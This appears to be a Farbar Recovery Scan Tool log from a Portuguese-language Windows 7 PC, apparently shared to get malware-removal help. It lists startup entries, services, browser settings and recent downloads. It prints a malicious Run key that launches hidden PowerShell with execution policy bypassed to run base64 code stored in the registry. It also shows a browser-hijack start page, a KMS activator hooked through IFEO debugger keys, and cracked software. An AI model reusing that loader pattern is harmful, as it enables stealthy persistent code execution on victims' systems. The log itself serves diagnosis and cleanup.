Resultado do exame da Farbar Recovery Scan Tool (FRST) (x86) Versão: 20-06-2016
Executado por Nilma (administrador) em NILMA-PC (21-06-2016 13:30:12)
Executando a partir de C:\Users\Nilma\Downloads
Perfis Carregados: Nilma (Perfis Disponíveis: Nilma)
Platform: Microsoft Windows 7 Professional  (X86) Idioma: Português (Brasil)
Internet Explorer Versão 8 (Navegador padrão: Chrome)
Modo da Inicialização: Normal
Tutorial da Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Processos (Whitelisted) =================

(Se uma entrada for incluída na fixlist, o processo será fechado. O arquivo não será movido.)

(Avast Software s.r.o.) C:\Program Files\AVAST Software\Avast\AvastSvc.exe
() C:\Windows\KMS-R@1n.exe
(Zbshareware Lab) C:\Program Files\USB Disk Security\USBGuard.exe
(Avast Software s.r.o.) C:\Program Files\AVAST Software\Avast\avastui.exe
(Intel Corporation) C:\Windows\System32\igfxtray.exe
(Intel Corporation) C:\Windows\System32\hkcmd.exe
(Intel Corporation) C:\Windows\System32\igfxpers.exe
(VIA) C:\Program Files\VIA\VIAudioi\VDeck\VDeck.exe
(BitTorrent Inc.) C:\Users\Nilma\AppData\Roaming\uTorrent\uTorrent.exe
(Microsoft Corporation) C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
(McAfee, Inc.) C:\Program Files\McAfee Security Scan\3.11.266\SSScheduler.exe
(BitTorrent Inc.) C:\Users\Nilma\AppData\Roaming\uTorrent\updates\3.4.7_42330\utorrentie.exe
(BitTorrent Inc.) C:\Users\Nilma\AppData\Roaming\uTorrent\updates\3.4.7_42330\utorrentie.exe
(Mega Limited) C:\ProgramData\MEGAsync\MEGAsync.exe
(Disc Soft Ltd) C:\Program Files\DAEMON Tools Lite\DiscSoftBusService.exe
() C:\Windows\KMS-R@1nhook.exe
(Microsoft Corporation) C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
(Avast Software) C:\Program Files\AVAST Software\Avast\ng\vbox\AvastVBoxSVC.exe
(Microsoft Corporation) C:\Windows\System32\wbem\unsecapp.exe
(Avast Software s.r.o.) C:\Program Files\AVAST Software\Avast\avastui.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe


==================== Registro (Whitelisted) ===========================

(Se uma entrada for incluída na fixlist, o ítem no Registro será restaurado para o padrão ou removido. O arquivo não será movido.)

HKLM\...\Run: [USB Security] => C:\Program Files\USB Disk Security\USBGuard.exe [623520 2011-01-29] (Zbshareware Lab)
HKLM\...\Run: [BCSSync] => C:\Program Files\Microsoft Office\Office14\BCSSync.exe [91520 2010-03-13] (Microsoft Corporation)
HKLM\...\Run: [AvastUI.exe] => C:\Program Files\AVAST Software\Avast\AvastUI.exe [5511352 2015-11-28] (Avast Software s.r.o.)
HKLM\...\Run: [HDAudDeck] => C:\Program Files\VIA\VIAudioi\VDeck\VDeck.exe [1705072 2010-10-05] (VIA)
HKLM\...\Run: [OiVelox] => C:\Program Files\Oi\Programmer\OiVeloxCheck.exe
HKLM\...\Run: [Adobe ARM] => C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe [926896 2012-09-23] (Adobe Systems Incorporated)
HKU\S-1-5-21-2351689377-3114744747-2701235008-1000\...\Run: [uTorrent] => C:\Users\Nilma\AppData\Roaming\uTorrent\uTorrent.exe [2133504 2016-05-20] (BitTorrent Inc.)
HKU\S-1-5-21-2351689377-3114744747-2701235008-1000\...\Run: [DAEMON Tools Lite Automount] => C:\Program Files\DAEMON Tools Lite\DTAgent.exe [3576664 2015-06-18] (Disc Soft Ltd)
HKU\S-1-5-21-2351689377-3114744747-2701235008-1000\...\Run: [{BD9A49B5-5864-4990-8896-9BFC2FE29820}] => powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\PJJZU').AIHVEJUUHQ)));
HKU\S-1-5-21-2351689377-3114744747-2701235008-1000\Control Panel\Desktop\\SCRNSAVE.EXE -> C:\Windows\system32\Bubbles.scr [878592 2009-07-13] (Microsoft Corporation)
IFEO\OSppSvc.exe: [Debugger] KMS-R@1nhook.exe
IFEO\SppSvc.exe: [Debugger] KMS-R@1nhook.exe
ShellIconOverlayIdentifiers: [###MegaShellExtPending] -> {056D528D-CE28-4194-9BA3-BA2E9197FF8C} => C:\ProgramData\MEGAsync\ShellExtX32.dll [2014-05-01] ()
ShellIconOverlayIdentifiers: [###MegaShellExtSynced] -> {05B38830-F4E9-4329-978B-1DD28605D202} => C:\ProgramData\MEGAsync\ShellExtX32.dll [2014-05-01] ()
ShellIconOverlayIdentifiers: [###MegaShellExtSyncing] -> {0596C850-7BDD-4C9D-AFDF-873BE6890637} => C:\ProgramData\MEGAsync\ShellExtX32.dll [2014-05-01] ()
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} => C:\Program Files\AVAST Software\Avast\ashShell.dll [2015-11-06] (Avast Software s.r.o.)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\McAfee Security Scan Plus.lnk [2015-12-12]
ShortcutTarget: McAfee Security Scan Plus.lnk -> C:\Program Files\McAfee Security Scan\3.11.266\SSScheduler.exe (McAfee, Inc.)
Startup: C:\Users\Nilma\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MEGAsync.lnk [2015-12-22]
ShortcutTarget: MEGAsync.lnk -> C:\ProgramData\MEGAsync\MEGAsync.exe (Mega Limited)

==================== Internet (Whitelisted) ====================

(Se um ítem for incluído na fixlist, sendo um ítem do Registro, será removido ou restaurado para o padrão.)

Tcpip\Parameters: [DhcpNameServer] 192.168.1.1
Tcpip\..\Interfaces\{A66FFBA4-2747-474C-B3BD-C55F4E338CF4}: [NameServer] 8.8.8.8,8.8.8.4
Tcpip\..\Interfaces\{A66FFBA4-2747-474C-B3BD-C55F4E338CF4}: [DhcpNameServer] 192.168.1.1

Internet Explorer:
==================
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restrição <======= ATENÇÃO
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.istartpageing.com/?type=hp&ts=1448817315&z=f5d7d378ca190fefbe7452dg7z7zebfbagcmdc5gcw&from=cor&uid=wdcxwd1600aajb-00j3a0_wd-wcav3899836398363
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.istartpageing.com/web/?type=ds&ts=1448817315&z=f5d7d378ca190fefbe7452dg7z7zebfbagcmdc5gcw&from=cor&uid=wdcxwd1600aajb-00j3a0_wd-wcav3899836398363&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.istartpageing.com/?type=hp&ts=1448817315&z=f5d7d378ca190fefbe7452dg7z7zebfbagcmdc5gcw&from=cor&uid=wdcxwd1600aajb-00j3a0_wd-wcav3899836398363
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.istartpageing.com/web/?type=ds&ts=1448817315&z=f5d7d378ca190fefbe7452dg7z7zebfbagcmdc5gcw&from=cor&uid=wdcxwd1600aajb-00j3a0_wd-wcav3899836398363&q={searchTerms}
HKU\S-1-5-21-2351689377-3114744747-2701235008-1000\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.istartpageing.com/?type=hp&ts=1448817315&z=f5d7d378ca190fefbe7452dg7z7zebfbagcmdc5gcw&from=cor&uid=wdcxwd1600aajb-00j3a0_wd-wcav3899836398363
HKU\S-1-5-21-2351689377-3114744747-2701235008-1000\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.istartpageing.com/?type=hp&ts=1448817315&z=f5d7d378ca190fefbe7452dg7z7zebfbagcmdc5gcw&from=cor&uid=wdcxwd1600aajb-00j3a0_wd-wcav3899836398363
SearchScopes: HKLM -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.istartpageing.com/web/?type=ds&ts=1448817315&z=f5d7d378ca190fefbe7452dg7z7zebfbagcmdc5gcw&from=cor&uid=wdcxwd1600aajb-00j3a0_wd-wcav3899836398363&q={searchTerms}
SearchScopes: HKLM -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.istartpageing.com/web/?type=ds&ts=1448817315&z=f5d7d378ca190fefbe7452dg7z7zebfbagcmdc5gcw&from=cor&uid=wdcxwd1600aajb-00j3a0_wd-wcav3899836398363&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2351689377-3114744747-2701235008-1000 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.istartpageing.com/web/?type=ds&ts=1448817315&z=f5d7d378ca190fefbe7452dg7z7zebfbagcmdc5gcw&from=cor&uid=wdcxwd1600aajb-00j3a0_wd-wcav3899836398363&q={searchTerms}
BHO: Adobe PDF Link Helper -> {18DF081C-E8AD-4283-A596-FA578C2EBDC3} -> C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll [2012-09-23] (Adobe Systems Incorporated)
BHO: avast! Online Security -> {8E5E2654-AD2D-48bf-AC2D-D17F00898D06} -> C:\Program Files\AVAST Software\Avast\aswWebRepIE.dll [2015-11-06] (Avast Software s.r.o.)
BHO: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL [2010-02-28] (Microsoft Corporation)

FireFox:
========
FF ProfilePath: C:\Users\Nilma\AppData\Roaming\Mozilla\Firefox\Profiles\41A66E7E5EE1
FF Homepage: www.google.com.br
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF32_21_0_0_242.dll [2016-05-23] ()
FF Plugin: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~1\MICROS~1\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation)
FF Plugin: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~1\MICROS~1\Office14\NPSPWRAP.DLL [2010-03-24] (Microsoft Corporation)
FF Plugin: @real.com/nppl3260;version=6.0.12.709 -> C:\Program Files\K-Lite Codec Pack\Real\browser\plugins\nppl3260.dll [2010-03-14] (RealNetworks, Inc.)
FF Plugin: @real.com/nprpjplug;version=6.0.12.709 -> C:\Program Files\K-Lite Codec Pack\Real\browser\plugins\nprpjplug.dll [2010-03-14] (RealNetworks, Inc.)
FF Plugin: @tools.google.com/Google Update;version=3 -> C:\Program Files\Google\Update\1.3.30.3\npGoogleUpdate3.dll [2016-05-19] (Google Inc.)
FF Plugin: @tools.google.com/Google Update;version=9 -> C:\Program Files\Google\Update\1.3.30.3\npGoogleUpdate3.dll [2016-05-19] (Google Inc.)
FF Plugin: Adobe Reader -> C:\Program Files\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2012-09-23] (Adobe Systems Inc.)
FF Plugin HKU\S-1-5-21-2351689377-3114744747-2701235008-1000: @unity3d.com/UnityPlayer,version=1.0 -> C:\Users\Nilma\AppData\Local\Unity\WebPlayer\loader\npUnity3D32.dll [2015-12-07] (Unity Technologies ApS)
FF Extension: Avast Online Security - C:\Program Files\AVAST Software\Avast\WebRep\FF [2015-11-06] [não assinado]
FF HKLM\...\Firefox\Extensions: [wrc@avast.com] - C:\Program Files\AVAST Software\Avast\WebRep\FF
FF HKLM\...\Firefox\Extensions: [sidebarff@gmail.com] - C:\Users\Nilma\AppData\Roaming\Mozilla\Firefox\Profiles\pfyhywgg.default\extensions\sidebarff@gmail.com => não encontrado (a)

Chrome: 
=======
CHR StartupUrls: Default -> "hxxp://www.google.com.br/"
CHR Profile: C:\Users\Nilma\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (Google Apresentações) - C:\Users\Nilma\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2016-05-19]
CHR Extension: (Google Docs) - C:\Users\Nilma\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2016-05-19]
CHR Extension: (Google Drive) - C:\Users\Nilma\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2016-05-19]
CHR Extension: (YouTube) - C:\Users\Nilma\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2016-05-19]
CHR Extension: (Adblock Plus) - C:\Users\Nilma\AppData\Local\Google\Chrome\User Data\Default\Extensions\cfhdojbkjhnklbpkdaibdccddilifddb [2016-06-02]
CHR Extension: (Planilhas do Google) - C:\Users\Nilma\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2016-05-19]
CHR Extension: (Documentos Google off-line) - C:\Users\Nilma\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-05-19]
CHR Extension: (Avast Online Security) - C:\Users\Nilma\AppData\Local\Google\Chrome\User Data\Default\Extensions\gomekmidlodglbbmalcneegieacbdmki [2016-05-19]
CHR Extension: (Pagamentos da Chrome Web Store) - C:\Users\Nilma\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2016-05-19]
CHR Extension: (Gmail) - C:\Users\Nilma\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2016-05-19]
CHR HKLM\...\Chrome\Extension: [gomekmidlodglbbmalcneegieacbdmki] - C:\Program Files\AVAST Software\Avast\WebRep\Chrome\aswWebRepChrome.crx [2015-11-06]

==================== Serviços (Whitelisted) ========================

(Se uma entrada for incluída na fixlist, será removida do Registro. O arquivo não será movido, a menos que seja colocado separadamente.)

R2 avast! Antivirus; C:\Program Files\AVAST Software\Avast\AvastSvc.exe [343336 2015-11-06] (Avast Software s.r.o.)
R3 AvastVBoxSvc; C:\Program Files\AVAST Software\Avast\ng\vbox\AvastVBoxSVC.exe [3205216 2015-11-06] (Avast Software)
R3 Disc Soft Lite Bus Service; C:\Program Files\DAEMON Tools Lite\DiscSoftBusService.exe [1034584 2015-06-18] (Disc Soft Ltd)
R2 KMS-R@1n; C:\Windows\KMS-R@1n.exe [23040 2015-11-06] () [Arquivo não assinado]
S3 McComponentHostService; C:\Program Files\McAfee Security Scan\3.11.266\McCHSvc.exe [235696 2015-12-02] (McAfee, Inc.)
S2 Nmclogservice; C:\Program Files\Nimeckreelule\Nmclogservice.exe [299504 2016-04-29] ()
R2 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [680960 2009-07-13] (Microsoft Corporation)

===================== Drivers (Whitelisted) ==========================

(Se uma entrada for incluída na fixlist, será removida do Registro. O arquivo não será movido, a menos que seja colocado separadamente.)

R2 aswHwid; C:\Windows\system32\drivers\aswHwid.sys [24144 2015-11-06] ()
R2 aswMonFlt; C:\Windows\system32\drivers\aswMonFlt.sys [73440 2015-11-06] (Avast Software s.r.o.)
R1 aswRdr; C:\Windows\system32\drivers\aswRdr2.sys [81728 2015-11-06] (Avast Software s.r.o.)
R0 aswRvrt; C:\Windows\system32\Drivers\aswRvrt.sys [49904 2015-11-06] ()
R1 aswSnx; C:\Windows\system32\drivers\aswSnx.sys [788272 2015-11-06] (Avast Software s.r.o.)
R1 aswSP; C:\Windows\system32\drivers\aswSP.sys [427480 2015-11-06] (Avast Software s.r.o.)
R2 aswStm; C:\Windows\system32\drivers\aswStm.sys [106912 2015-11-06] (Avast Software s.r.o.)
R0 aswVmm; C:\Windows\system32\Drivers\aswVmm.sys [206976 2015-11-06] ()
R3 dtlitescsibus; C:\Windows\System32\DRIVERS\dtlitescsibus.sys [25016 2015-12-16] (Disc Soft Ltd)
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [329384 2016-06-01] (Duplex Secure Ltd.)
R2 VBoxAswDrv; C:\Program Files\AVAST Software\Avast\ng\vbox\VBoxAswDrv.sys [220240 2015-11-06] (Avast Software)
R3 VIAHdAudAddService; C:\Windows\System32\drivers\viahduaa.sys [1149552 2010-10-01] (VIA Technologies, Inc.)

==================== NetSvcs (Whitelisted) ===================

(Se uma entrada for incluída na fixlist, será removida do Registro. O arquivo não será movido, a menos que seja colocado separadamente.)


==================== Um Mês Criados arquivos e pastas ========

(Se uma entrada for incluída na fixlist, o arquivo/pasta será movido.)

2016-06-21 13:30 - 2016-06-21 13:30 - 00015141 _____ C:\Users\Nilma\Downloads\FRST.txt
2016-06-21 13:28 - 2016-06-21 13:30 - 00000000 ____D C:\FRST
2016-06-21 13:28 - 2016-06-21 13:28 - 00001373 _____ C:\Users\Nilma\Desktop\FRST - Atalho.lnk
2016-06-21 13:26 - 2016-06-21 13:27 - 01738240 _____ (Farbar) C:\Users\Nilma\Downloads\FRST.exe
2016-06-21 13:24 - 2016-06-21 13:24 - 00001889 _____ C:\Users\Public\Desktop\PCSX2 1.4.0.lnk
2016-06-21 13:24 - 2016-06-21 13:24 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PCSX2
2016-06-21 13:07 - 2016-06-20 21:55 - 17837152 _____ C:\Users\Nilma\Downloads\pcsx21-4-0.exe
2016-06-20 23:27 - 2016-06-20 23:43 - 38482956 _____ C:\Users\Nilma\Downloads\PCSX2 V1.2.1 PS2 Emulator + Plugins, Bios.7z
2016-06-20 23:20 - 2016-06-20 23:21 - 00000000 ____D C:\Users\Nilma\Desktop\Plugins
2016-06-20 23:15 - 2015-06-23 04:00 - 00088248 _____ (Microsoft Corporation) C:\Users\Nilma\Downloads\vcruntime140.dll
2016-06-20 23:02 - 2016-06-20 23:02 - 00047223 _____ C:\Users\Nilma\Downloads\vcruntime140.zip
2016-06-20 22:44 - 2015-09-22 21:33 - 00000937 _____ C:\Users\Nilma\Downloads\readme.txt
2016-06-20 22:44 - 2015-07-01 22:06 - 00634528 _____ (Microsoft Corporation) C:\Users\Nilma\Downloads\msvcp140.dll
2016-06-20 22:43 - 2016-06-20 22:45 - 00201045 _____ C:\Users\Nilma\Desktop\__64-msvcp140.dll14.0.22816.0.zip
2016-06-20 22:43 - 2016-06-20 22:43 - 00201064 _____ C:\Users\Nilma\Downloads\__64-msvcp140.dll14.0.22816.0.zip
2016-06-20 22:37 - 2016-06-21 13:24 - 00000000 ____D C:\Program Files\PCSX2 1.4.0
2016-06-18 14:38 - 2016-06-19 08:36 - 00000000 ____D C:\Users\Nilma\Downloads\Ben.10.Protector.of.Earth.USA.PS2DVD-MARVEL.[NewTDT.CoM]
2016-06-16 21:33 - 2016-06-16 21:33 - 00001338 _____ C:\Users\Nilma\Downloads\WhatsApp.jad
2016-06-16 21:15 - 2016-06-16 21:16 - 00321598 _____ C:\Users\Nilma\Downloads\whatsapp_samsung_chat.jar
2016-06-16 20:59 - 2016-06-16 20:59 - 00897864 _____ C:\Users\Nilma\Downloads\minecraft_pocket_edition_3d.jar
2016-06-16 17:46 - 2016-06-16 17:46 - 00000931 _____ C:\Users\Public\Desktop\Minecraft.lnk
2016-06-16 17:43 - 2016-06-16 17:43 - 00000000 ____D C:\Users\Nilma\Downloads\runtime
2016-06-16 17:25 - 2016-06-16 17:45 - 00001027 _____ C:\Users\Nilma\Downloads\nativelog.txt
2016-06-16 17:25 - 2016-06-16 17:45 - 00000000 ____D C:\Users\Nilma\Downloads\game
2016-06-16 17:23 - 2016-06-16 17:24 - 01247112 _____ (Mojang) C:\Users\Nilma\Downloads\Minecraft.exe
2016-06-15 18:09 - 2016-06-15 18:09 - 00001372 _____ C:\Users\Nilma\Desktop\Droga de Americana! - Pedro Bandeira.lnk
2016-06-15 18:08 - 2016-06-15 18:08 - 00654632 _____ C:\Users\Nilma\Downloads\Droga de Americana! - Pedro Bandeira.pdf
2016-06-13 17:16 - 2016-06-13 17:31 - 00000000 ____D C:\Users\Nilma\AppData\Roaming\.minecraft
2016-06-13 17:16 - 2016-06-13 17:16 - 00000000 ____D C:\Users\Nilma\AppData\Roaming\java
2016-06-13 17:07 - 2016-06-16 17:46 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Minecraft
2016-06-13 17:07 - 2016-06-16 17:46 - 00000000 ____D C:\Program Files\Minecraft
2016-06-13 17:05 - 2016-06-13 17:05 - 02314240 _____ C:\Users\Nilma\Downloads\MinecraftInstaller.msi
2016-06-13 14:34 - 2016-06-13 14:36 - 00000000 ____D C:\Users\Nilma\Downloads\[R.G. Mechanics] Grand Theft Auto V
2016-06-13 14:33 - 2016-06-13 14:33 - 00093589 _____ C:\Users\Nilma\Downloads\[BMGT] Grand Theft Auto V - v1.0.350.2 [REPACK] PC.torrent
2016-06-13 13:51 - 2016-06-13 13:51 - 00000000 ____D C:\Users\Public\Documents\Daemon Tools Images
2016-06-13 13:44 - 2014-06-02 23:24 - 00000000 ____D C:\CWM
2016-06-13 13:12 - 2016-06-13 14:07 - 00000000 ____D C:\Users\Nilma\Desktop\Recuperação de tablet 2014
2016-06-12 21:45 - 2016-06-12 21:45 - 00003674 _____ C:\Users\Nilma\Downloads\WlWhatsApp_14.jad
2016-06-12 20:56 - 2016-06-12 20:56 - 00093141 _____ C:\Users\Nilma\Downloads\compass.jar
2016-06-10 18:05 - 2016-06-10 18:10 - 00000000 ____D C:\Users\Nilma\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Level Up
2016-06-10 18:05 - 2016-06-10 18:05 - 00000388 _____ C:\Users\Nilma\Desktop\Jogos Level Up.appref-ms
2016-06-08 21:45 - 2016-06-08 21:47 - 00862935 _____ (BlueStack Systems Inc.) C:\Users\Nilma\Downloads\BlueStacks2_native_702e5a89ce42342544c43515799fd0c2.exe
2016-06-08 20:45 - 2016-06-08 20:45 - 00208187 _____ C:\Users\Nilma\Downloads\WhatsApp_Messenger_223-533304.jar
2016-06-08 20:05 - 2011-10-14 12:54 - 00029298 _____ C:\Users\Nilma\Downloads\standard.aac
2016-06-08 20:05 - 2011-10-14 12:54 - 00006847 _____ C:\Users\Nilma\Downloads\countries.tsv
2016-06-08 20:05 - 2011-10-14 12:54 - 00001053 _____ C:\Users\Nilma\Downloads\special.mid
2016-06-08 20:05 - 2011-10-14 12:54 - 00001040 _____ C:\Users\Nilma\Downloads\ascending.mid
2016-06-08 20:05 - 2011-10-14 12:54 - 00000429 _____ C:\Users\Nilma\Downloads\beepOnce.mid
2016-06-08 20:05 - 2011-10-14 12:54 - 00000000 ____D C:\Users\Nilma\Downloads\values-es
2016-06-08 20:05 - 2011-10-14 12:54 - 00000000 ____D C:\Users\Nilma\Downloads\values
2016-06-08 20:05 - 2011-10-14 12:54 - 00000000 ____D C:\Users\Nilma\Downloads\META-INF
2016-06-08 20:05 - 2011-10-14 12:54 - 00000000 ____D C:\Users\Nilma\Downloads\com
2016-06-08 20:02 - 2016-06-08 20:04 - 00867536 _____ C:\Users\Nilma\Desktop\WhatsApp_Messenger_223-533304.jar
2016-06-08 10:49 - 2016-06-21 12:37 - 00000000 ____D C:\Users\Nilma\AppData\LocalLow\uTorrent
2016-06-05 18:15 - 2016-06-05 18:15 - 00098940 _____ C:\Users\Nilma\Downloads\SegundaVia032016.pdf
2016-06-05 12:08 - 2016-06-05 12:08 - 00148959 _____ C:\Users\Nilma\Downloads\recuperao_de_tablet_2014.html
2016-06-05 12:08 - 2016-06-05 12:08 - 00148959 _____ C:\Users\Nilma\Downloads\recuperao_de_tablet_2014 (1).html
2016-06-03 14:06 - 2016-06-03 14:17 - 14935335 _____ C:\Users\Nilma\Downloads\recuperação de tablet 2014 (4).rar
2016-06-02 22:17 - 2016-06-02 22:35 - 00000000 ____D C:\Users\Nilma\Downloads\Grand Theft Auto V
2016-06-02 21:56 - 2016-06-03 16:30 - 00000000 ____D C:\Users\Nilma\Downloads\UPDATE 5 + CRACK v5
2016-06-02 14:13 - 2016-06-02 14:19 - 09655635 _____ C:\Users\Nilma\Downloads\recuperação de tablet 2014 (3).rar
2016-06-02 13:51 - 2016-06-02 13:56 - 06391675 _____ C:\Users\Nilma\Downloads\recuperação de tablet 2014 (2).rar
2016-06-02 13:47 - 2016-06-02 13:48 - 01783183 _____ C:\Users\Nilma\Downloads\recuperação de tablet 2014 (1).rar
2016-06-02 13:41 - 2016-06-02 13:43 - 05343071 _____ C:\Users\Nilma\Downloads\recuperação de tablet 2014.rar
2016-06-01 16:53 - 2016-06-01 16:53 - 00329384 _____ (Duplex Secure Ltd.) C:\Windows\system32\Drivers\sptd.sys
2016-05-31 23:56 - 2015-07-29 12:45 - 00000000 ____D C:\Users\Nilma\Desktop\Marília Mendonça - Álbum 2015
2016-05-31 23:55 - 2015-07-29 12:45 - 00000000 ____D C:\Users\Nilma\Downloads\Marília Mendonça - Álbum 2015
2016-05-31 23:27 - 2016-05-31 23:46 - 50167529 _____ C:\Users\Nilma\Downloads\MA.ME - ALB.2015 - www.sistemasertanejo.com.rar
2016-05-31 23:07 - 2016-05-31 23:24 - 31489280 _____ C:\Users\Nilma\Downloads\Marilia Mendonça [2016] (2).rar
2016-05-30 17:19 - 2016-05-30 17:38 - 29654272 _____ C:\Users\Nilma\Downloads\Marilia Mendonça [2016] (1).rar
2016-05-29 21:33 - 2016-05-29 21:38 - 07814784 _____ C:\Users\Nilma\Downloads\Marilia Mendonça [2016].rar
2016-05-23 18:11 - 2016-05-23 18:11 - 00001047 _____ C:\Users\Nilma\Desktop\Cheat Engine.lnk
2016-05-23 18:11 - 2016-05-23 18:11 - 00000000 ____D C:\Users\Nilma\Documents\My Cheat Tables
2016-05-23 18:11 - 2016-05-23 18:11 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Cheat Engine 6.2
2016-05-23 18:11 - 2016-05-23 18:11 - 00000000 ____D C:\Program Files\Cheat Engine 6.2
2016-05-23 18:02 - 2016-05-23 18:05 - 07280088 _____ (Dark Byte ) C:\Users\Nilma\Downloads\CheatEngine62.exe
2016-05-23 17:18 - 2016-06-13 22:16 - 1656782848 _____ C:\Users\Nilma\Downloads\LEGO.Jurassic.World-RELOADED.iso
2016-05-23 15:57 - 2016-05-23 15:57 - 05995712 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerInstaller.exe

==================== Um Mês Modificados arquivos e pastas ========

(Se uma entrada for incluída na fixlist, o arquivo/pasta será movido.)

2016-06-21 13:28 - 2015-11-23 21:36 - 00000000 ____D C:\Users\Nilma\AppData\Roaming\uTorrent
2016-06-21 13:24 - 2015-11-26 09:04 - 00000000 ___HD C:\Windows\msdownld.tmp
2016-06-21 13:24 - 2015-11-26 09:04 - 00000000 ____D C:\Windows\system32\directx
2016-06-21 13:08 - 2015-11-06 20:13 - 01626900 _____ C:\Windows\system32\PerfStringBackup.INI
2016-06-21 13:08 - 2009-07-14 05:31 - 00702882 _____ C:\Windows\system32\prfh0416.dat
2016-06-21 13:08 - 2009-07-14 05:31 - 00145668 _____ C:\Windows\system32\prfc0416.dat
2016-06-21 13:08 - 2009-07-13 23:37 - 00000000 ____D C:\Windows\inf
2016-06-21 12:55 - 2015-12-12 11:46 - 00000902 _____ C:\Windows\Tasks\Adobe Flash Player Updater.job
2016-06-21 12:44 - 2009-07-14 01:34 - 00014032 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2016-06-21 12:44 - 2009-07-14 01:34 - 00014032 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2016-06-21 12:37 - 2016-05-19 15:44 - 00001050 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job
2016-06-21 12:37 - 2016-03-31 19:05 - 00065536 _____ C:\Windows\system32\Ikeext.etl
2016-06-21 12:37 - 2009-07-14 01:53 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2016-06-20 23:36 - 2016-05-19 15:44 - 00001054 _____ C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job
2016-06-20 22:55 - 2015-11-24 17:30 - 00000000 ____D C:\Users\Todos os Usuários\Package Cache
2016-06-20 22:55 - 2015-11-24 17:30 - 00000000 ____D C:\ProgramData\Package Cache
2016-06-19 13:07 - 2016-01-22 21:39 - 00000000 ____D C:\Users\Nilma\Desktop\Fotos
2016-06-19 12:12 - 2016-05-02 15:19 - 4292116480 _____ C:\Users\Nilma\Downloads\W7-COMPLETO-x86-x64-AUTO-ATIVAÇÃO-downloadsfulltorrent.blogspot.com.iso
2016-06-18 14:37 - 2015-11-30 08:16 - 00000000 ___SD C:\Users\Nilma\AppData\LocalLow\Temp
2016-06-17 19:47 - 2016-05-19 16:32 - 00002139 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2016-06-17 19:47 - 2016-05-19 16:32 - 00002127 _____ C:\Users\Public\Desktop\Google Chrome.lnk
2016-06-15 16:57 - 2015-12-22 17:58 - 00000000 ____D C:\Users\Todos os Usuários\MEGAsync
2016-06-15 16:57 - 2015-12-22 17:58 - 00000000 ____D C:\ProgramData\MEGAsync
